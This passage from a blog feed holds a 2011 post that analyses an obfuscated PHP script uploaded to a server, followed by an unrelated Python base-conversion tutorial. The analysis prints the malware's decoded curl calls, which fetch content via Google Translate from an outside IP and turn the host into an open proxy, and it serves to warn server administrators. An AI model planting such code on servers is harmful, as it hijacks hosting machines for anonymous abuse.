&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10102&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czowOiIiOw==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// s:0:&amp;quot;&amp;quot;;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;47&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;aTowOw==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt; &lt;span&gt;// i:0;&lt;/span&gt;
&lt;span&gt;curl_setopt&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;10002&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span&gt;unserialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;base64_decode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;// s:140:&amp;quot;http://translate.google.com/translate?hl=en&amp;amp;amp;sl=en&amp;amp;amp;tl=fr&amp;amp;amp;u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html&amp;quot;;&lt;/span&gt;
&lt;span&gt;$response&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;curl_exec&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;$md5_error&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;error&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;$md5_content&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;content&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;$md5_info&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;info&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;is_bool&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$response&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; and &lt;span&gt;$response&lt;/span&gt; &lt;span&gt;==&lt;/span&gt; &lt;span&gt;false&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#123;&lt;/span&gt;
    &lt;span&gt;echo&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;amp;lt;&lt;span&gt;$md5_error&lt;/span&gt;&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;curl_errno&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&amp;quot;|&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;curl_error&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
    &lt;span&gt;exit&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;&amp;#125;&lt;/span&gt;
&lt;span&gt;echo&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;amp;lt;&lt;span&gt;$md5_info&lt;/span&gt;&amp;amp;gt;&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;serialize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;curl_getinfo&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$cr&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;function_exists&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;gzdeflate&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; and &lt;span&gt;base64_encode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;gzdeflate&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;md5&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;time&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt;&amp;quot;MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA==&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;
    &lt;span&gt;$response&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&amp;quot;GZIP|&amp;quot;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;base64_encode&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;gzdeflate&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;$response&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;&amp;#125;&lt;/span&gt;
&lt;span&gt;echo&lt;/span&gt; &lt;span&gt;&amp;quot;&amp;amp;lt;&lt;span&gt;$md5_content&lt;/span&gt;&amp;amp;gt;&lt;span&gt;$response&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;
&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The definition of the curl_setopt call is as follows:&lt;/p&gt;
&lt;p&gt;&lt;span&gt;bool curl_setopt ( resource $ch , int $option , mixed $value )&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;#8217;s break down all of the Curl options we are setting here.  Even the &lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;curl_setopt&lt;/a&gt; calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Option 13 (&lt;strong&gt;CURLOPT_TIMEOUT&lt;/strong&gt; =&amp;gt; 15): Sets the timeout for the Curl request to 15 seconds.&lt;/li&gt;
&lt;li&gt;Option 19913 (&lt;strong&gt;CURLOPT_RETURNTRANSFER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Returns the value of &lt;a href=&quot;http://www.php.net/manual/en/function.curl-exec.php&quot;&gt;curl_exec&lt;/a&gt; as a string.&lt;/li&gt;
&lt;li&gt;Option 42 (&lt;strong&gt;CURLOPT_HEADER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Includes the header in the output.&lt;/li&gt;
&lt;li&gt;Option 53 (&lt;strong&gt;CURLOPT_TRANSFERTEXT&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Uses ASCII mode for FTP transfers.&lt;/li&gt;
&lt;li&gt;Option 52 (&lt;strong&gt;CURLOPT_FOLLOWLOCATION&lt;/strong&gt; =&amp;gt; 0): Does not follow &amp;#8216;Location:&amp;#8217; header fields.&lt;/li&gt;
&lt;li&gt;Option 19914 (&lt;strong&gt;CURLOPT_BINARYTRANSFER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)&lt;/li&gt;
&lt;li&gt;Option 64 (&lt;strong&gt;CURLOPT_SSL_VERIFYPEER&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Verifies the site&amp;#8217;s SSL certificate to be valid.&lt;/li&gt;
&lt;li&gt;Option 81 (&lt;strong&gt;CURLOPT_SSL_VERIFYHOST&lt;/strong&gt; =&amp;gt; &amp;#8220;1&amp;#8243;): Verifies the correct SSL hostname for the certificate.&lt;/li&gt;
&lt;li&gt;Option 10023 (&lt;strong&gt;CURLOPT_HTTPHEADER&lt;/strong&gt;): Sets the HTTP header sent as follows:
&lt;ul&gt;
&lt;li&gt;&amp;#8220;Accept: */*&amp;#8221;: Specifies that all media is acceptable for response from the HTTP request&lt;/li&gt;
&lt;li&gt;&amp;#8220;Accept-Language: en-us&amp;#8221;: Specifies that we are looking for an English return.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Connection: keep-alive&amp;#8221;: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).&lt;/li&gt;
&lt;li&gt;&amp;#8220;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&amp;amp;amp;T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)&amp;#8221;: A bogus user agent&lt;/li&gt;
&lt;li&gt;&amp;#8220;Expect: &amp;#8220;: Indicates that no behavior is required by the client.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Accept-Encoding: &amp;#8220;: Indicates that we accept all encoding.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Keep Alive: 115&amp;#8243;: Sets a keep-alive timeout of 115.&lt;/li&gt;
&lt;li&gt;&amp;#8220;Referer: &amp;lt;cut for clarity:  see in source above&amp;gt;&amp;#8221;: Sets a seemingly bogus referer, although this may be legit in some cases.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Option 10102 (&lt;strong&gt;CURLOPT_ENCODING&lt;/strong&gt; =&amp;gt; &amp;#8220;&amp;#8221;): If this is set to &amp;#8220;&amp;#8221;, a header that accepts all &amp;#8220;Accept Encoding&amp;#8221; header values is sent.&lt;/li&gt;
&lt;li&gt;Option 47 (&lt;strong&gt;CURLOPT_POST&lt;/strong&gt; =&amp;gt; 0): We are not doing a HTTP post.&lt;/li&gt;
&lt;li&gt;Option 10002 (&lt;strong&gt;CURLOPT_URL&lt;/strong&gt;): Sets the URL to fetch.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you would like to see a mapping of integer=&amp;gt;constant name for the curl curl options in PHP, you can &lt;a href=&quot;http://alanp.ca/blog/feed/ http://alanp.ca/blog/curl_setopt-numerical-values/&quot;&gt;find that here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language.  In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.&lt;/p&gt;
&lt;p&gt;I think the moral of the story here is to watch out for what your users may be uploading to your servers.  This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script.  It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring.  Of course, you can&amp;#8217;t always find them in time.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References and Attributions:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;PHP: curl_setopt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://php.net/manual/en/function.curl-setopt.php&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.w3.org/Protocols/rfc2616/rfc2616.html&quot;&gt;RFC2616: Hypertext Transfer Protocol &amp;#8212; HTTP/1.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Chomped computer image at the top of the article is from the &lt;a href=&quot;http://tango.freedesktop.org/&quot;&gt;Tango&lt;/a&gt; project, modified by &lt;a href=&quot;http://commons.wikimedia.org/wiki/User:Slady&quot;&gt;slady&lt;/a&gt;.  Licensed under the &lt;a href=&quot;http://creativecommons.org/&quot;&gt;Creative Commons&lt;/a&gt;-BY-SA-2.5 License.&lt;/li&gt;
&lt;/ol&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2011-09-20T13:00:19+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Algorithms in Python: Base Expansion</title>
		<link href="http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/"/>
		<id>http://blog.madpython.com/?p=111</id>
		<updated>2010-07-11T00:53:49+00:00</updated>
		<content type="html">&lt;p&gt;I felt it would be helpful to folks interested in Python and studying algorithms, to review some commonly studied algorithms in Computer Science by providing a small description and a Python implementation of each algorithm.&lt;/p&gt;
&lt;p&gt;This week, we&amp;#8217;ll cover an introductory algorithm for converting from one numeral base to another. Here is the python code:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Simple implementation of a base expansion algorithm&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;math&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;def&lt;/span&gt; base_expand&lt;span&gt;&amp;#40;&lt;/span&gt;base, val&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;This simple function performs a base-expansion from decimal
    using moduli and a translation table. The translation table is
    a clear limitation here, in that it implies the maximum base
    is 36.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;if&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;base &lt;span&gt;&amp;lt;&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;or&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;base &lt;span&gt;&amp;gt;&lt;/span&gt; &lt;span&gt;36&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;raise&lt;/span&gt; BaseOutOfBoundsError&lt;span&gt;&amp;#40;&lt;/span&gt;base&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    trans_table = &lt;span&gt;'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'&lt;/span&gt;
    res = &lt;span&gt;''&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;while&lt;/span&gt; val &lt;span&gt;!&lt;/span&gt;= &lt;span&gt;0&lt;/span&gt;:
        res += trans_table&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val &lt;span&gt;%&lt;/span&gt; base&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
        val = &lt;span&gt;math&lt;/span&gt;.&lt;span&gt;floor&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val / base&lt;span&gt;&amp;#41;&lt;/span&gt;
    &lt;span&gt;return&lt;/span&gt; res&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; BaseOutOfBoundsError&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;Exception&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Base must be between 2 and 36&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span&gt;def&lt;/span&gt; &lt;span&gt;__init__&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, val&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;val&lt;/span&gt; = val
    &lt;span&gt;def&lt;/span&gt; &lt;span&gt;__str__&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;print&lt;/span&gt; &lt;span&gt;&amp;quot;&lt;span&gt;\n&lt;/span&gt;Invalid base: %s. Base must be (x | x &amp;gt; 1; x &amp;lt; 37)&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; \
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;val&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is a unit-test for base_expand.py:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Unit tests for base_expansion.py&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;unittest&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; base_expansion &lt;span&gt;import&lt;/span&gt; base_expand, BaseOutOfBoundsError
&amp;nbsp;
&lt;span&gt;# Unit tests for base_expansion.py&lt;/span&gt;
&lt;span&gt;class&lt;/span&gt; TestVals&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;TestCase&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Test suite&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_known_values&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Testing against known values&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        vals = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'1000'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;,
            &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;915652&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;16&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'DF8C4'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;,
            &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;256&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;10&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'256'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;,
            &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;: &lt;span&gt;88189&lt;/span&gt;, &lt;span&gt;'base'&lt;/span&gt;: &lt;span&gt;8&lt;/span&gt;, &lt;span&gt;'expect'&lt;/span&gt;: &lt;span&gt;'254175'&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;for&lt;/span&gt; val &lt;span&gt;in&lt;/span&gt; vals:
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertEqual&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'expect'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, \
                base_expand&lt;span&gt;&amp;#40;&lt;/span&gt;val&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'base'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, val&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;'val'&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_invalid_base&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot; Testing invalid bases &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bases = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, &lt;span&gt;37&lt;/span&gt;, &lt;span&gt;50&lt;/span&gt;, &lt;span&gt;100&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
        &lt;span&gt;for&lt;/span&gt; base &lt;span&gt;in&lt;/span&gt; bases:
            &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertRaises&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;BaseOutOfBoundsError, base_expand, \
                base, &lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; &lt;span&gt;'__main__'&lt;/span&gt; == __name__:
    &lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;main&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a class=&quot;a2a_button_reddit&quot; href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_delicious&quot; href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_google_bookmarks&quot; href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_facebook&quot; href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_stumbleupon&quot; href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_linkedin&quot; href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_twitter&quot; href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F10%2Falgorithms-in-python-base-expansion%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Base%20Expansion&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; 